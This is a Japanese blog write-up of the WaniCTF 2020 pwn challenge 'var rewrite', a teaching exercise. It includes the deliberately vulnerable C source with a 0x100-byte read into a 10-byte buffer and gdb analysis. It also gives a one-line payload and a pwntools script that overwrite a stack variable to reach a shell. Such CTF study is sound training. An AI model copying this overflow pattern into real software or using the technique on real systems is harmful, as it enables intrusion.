0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

WaniCTF 2020 pwn 02 var rewrite Writeup

Last updated at Posted at 2021-04-27

スタックバッファオーバーフローによって,ローカル変数を書き換える訓練。

攻撃コード1

$ (echo "AAAAAAAAAAWANI"; cat) | ./pwn02

攻撃コード2

pwn02.py
import pwn

# io = pwn.remote("var.wanictf.org", 9002)
io = pwn.process("./pwn02")

ret = io.readuntil("What's your name?: ")
print(ret)

s = b"A" * 10
s += b"WANI\x00"

print(s)

io.send(s)
io.interactive()

問題文

nc var.wanictf.org 9002
stackの仕組みを理解する必要があります。
ローカル変数はstackに積まれます。
ローカル変数を書き換えて下さい。

配布データ

pwn02.c
pwn02
pwn02.c
# include <stdio.h>
# include <unistd.h>
# include <stdlib.h>
# include <string.h>

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

char str_head[] = "hello ";
char str_tail[] = "!\n";

void win()
{
    puts("Congratulation!");
    system("/bin/sh");
    exit(0);
}

void vuln()
{
    char target[] = "HACKASE";
    char name[10];
    char *p;
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    if (strncmp(target, "WANI", 4) == 0)
    {
        win();
    }
    else
    {
        printf("target = %s\n", target);
    }

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    printf("\n***start stack dump***\n");
    i = rsp;
    while (i <= rbp + 8)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    printf("***end stack dump***\n\n");
}

ローカル変数 name をオーバーフローさせ,target に格納されている文字列 HACKASE の先頭から4バイトを WANI に変えれば, win関数 に飛び,シェル system("/bin/sh") が起動するのでlsやcatでフラグが取れそうです。

とりあえず実行するとこんな感じ

$ ./pwn02
What's your name?: AAA
hello AAA!
target = HACKASE

***start stack dump***
0x7fffd1659a00: 0x00007fffd1659a20 <- rsp
0x7fffd1659a08: 0x0000004141410790
0x7fffd1659a10: 0x4b434148d1659b10
0x7fffd1659a18: 0x0000000400455341
0x7fffd1659a20: 0x00007fffd1659a30 <- rbp
0x7fffd1659a28: 0x00000000004009b6 <- return address
***end stack dump***

スタック見えてますが,目を瞑って

gdbスタート

$ gdb -q ./pwn02
Reading symbols from ./pwn02...(no debugging symbols found)...done.

gdb-peda$ b main
Breakpoint 1 at 0x4009a2

gdb-peda$ r
Starting program: /mnt/c/pwn02
Breakpoint 1, 0x00000000004009a2 in main ()

vuln()を確認します

gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
   0x000000000040089d <+0>:     push   rbp
   0x000000000040089e <+1>:     mov    rbp,rsp
   0x00000000004008a1 <+4>:     sub    rsp,0x20
   0x00000000004008a5 <+8>:     movabs rax,0x4553414b434148
   0x00000000004008af <+18>:    mov    QWORD PTR [rbp-0xc],rax
   0x00000000004008b3 <+22>:    lea    rdi,[rip+0x2c2]        # 0x400b7c
   0x00000000004008ba <+29>:    mov    eax,0x0
   0x00000000004008bf <+34>:    call   0x400750 <printf@plt>
   0x00000000004008c4 <+39>:    lea    rax,[rbp-0x16]
   0x00000000004008c8 <+43>:    mov    edx,0x100
   0x00000000004008cd <+48>:    mov    rsi,rax
   0x00000000004008d0 <+51>:    mov    edi,0x0
   0x00000000004008d5 <+56>:    call   0x400770 <read@plt>
   0x00000000004008da <+61>:    mov    DWORD PTR [rbp-0x4],eax
   0x00000000004008dd <+64>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004008e0 <+67>:    sub    eax,0x1
   0x00000000004008e3 <+70>:    cdqe
   0x00000000004008e5 <+72>:    mov    BYTE PTR [rbp+rax*1-0x16],0x0
   0x00000000004008ea <+77>:    lea    rdi,[rip+0x20078f]        # 0x601080 <str_head>
   0x00000000004008f1 <+84>:    call   0x400720 <strlen@plt>
   0x00000000004008f6 <+89>:    mov    rdx,rax
   0x00000000004008f9 <+92>:    lea    rsi,[rip+0x200780]        # 0x601080 <str_head>
   0x0000000000400900 <+99>:    mov    edi,0x0
   0x0000000000400905 <+104>:   call   0x400710 <write@plt>
   0x000000000040090a <+109>:   lea    rax,[rbp-0x16]
   0x000000000040090e <+113>:   mov    rdi,rax
   0x0000000000400911 <+116>:   call   0x400720 <strlen@plt>
   0x0000000000400916 <+121>:   mov    rdx,rax
   0x0000000000400919 <+124>:   lea    rax,[rbp-0x16]
   0x000000000040091d <+128>:   mov    rsi,rax
   0x0000000000400920 <+131>:   mov    edi,0x0
   0x0000000000400925 <+136>:   call   0x400710 <write@plt>
   0x000000000040092a <+141>:   lea    rdi,[rip+0x200756]        # 0x601087 <str_tail>
   0x0000000000400931 <+148>:   call   0x400720 <strlen@plt>
   0x0000000000400936 <+153>:   mov    rdx,rax
   0x0000000000400939 <+156>:   lea    rsi,[rip+0x200747]        # 0x601087 <str_tail>
   0x0000000000400940 <+163>:   mov    edi,0x0
   0x0000000000400945 <+168>:   call   0x400710 <write@plt>
   0x000000000040094a <+173>:   lea    rax,[rbp-0xc]
   0x000000000040094e <+177>:   mov    edx,0x4
   0x0000000000400953 <+182>:   lea    rsi,[rip+0x236]        # 0x400b90
   0x000000000040095a <+189>:   mov    rdi,rax
   0x000000000040095d <+192>:   call   0x4006f0 <strncmp@plt>
   0x0000000000400962 <+197>:   test   eax,eax
   0x0000000000400964 <+199>:   jne    0x400972 <vuln+213>
   0x0000000000400966 <+201>:   mov    eax,0x0
   0x000000000040096b <+206>:   call   0x400877 <win>
   0x0000000000400970 <+211>:   jmp    0x40098a <vuln+237>
   0x0000000000400972 <+213>:   lea    rax,[rbp-0xc]
   0x0000000000400976 <+217>:   mov    rsi,rax
   0x0000000000400979 <+220>:   lea    rdi,[rip+0x215]        # 0x400b95
   0x0000000000400980 <+227>:   mov    eax,0x0
   0x0000000000400985 <+232>:   call   0x400750 <printf@plt>
   0x000000000040098a <+237>:   mov    rdx,rbp
   0x000000000040098d <+240>:   mov    rax,rsp
   0x0000000000400990 <+243>:   mov    rsi,rdx
   0x0000000000400993 <+246>:   mov    rdi,rax
   0x0000000000400996 <+249>:   call   0x400a05 <debug_stack_dump>
   0x000000000040099b <+254>:   nop
   0x000000000040099c <+255>:   leave
   0x000000000040099d <+256>:   ret
End of assembler dump.

read (入力)を抜けた後の入力文字列の末尾に文字列の終端を意味する 0x00 を付けている
mov BYTE PTR [rbp+rax*1-0x16],0x0
の次

   0x00000000004008ea <+77>:    lea    rdi,[rip+0x20078f]        # 0x601080 <str_head>

にブレークポイントを設定し,c (continue) で流します。

gdb-peda$ b *0x00000000004008ea
Breakpoint 2 at 0x4008ea
gdb-peda$ c
Continuing.
What's your name?:

What's your name?:とくるので, AAA を入力します。
image.png
よくわからないので詳細にスタックを見ます

gdb-peda$ x/10xg 0x7ffffffee280

image.png
現在 A*3 を入力していますが,黄色の蛍光ペンで示したように,Aが10個必要です。

攻撃してみます。

$ (echo "AAAAAAAAAAWANI"; cat) | ./pwn02
What's your name?: Congratulation!
cat flag.txt
CTF{gdb_is_useful}

ビンゴ
 
 
 
参考にしたサイト

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?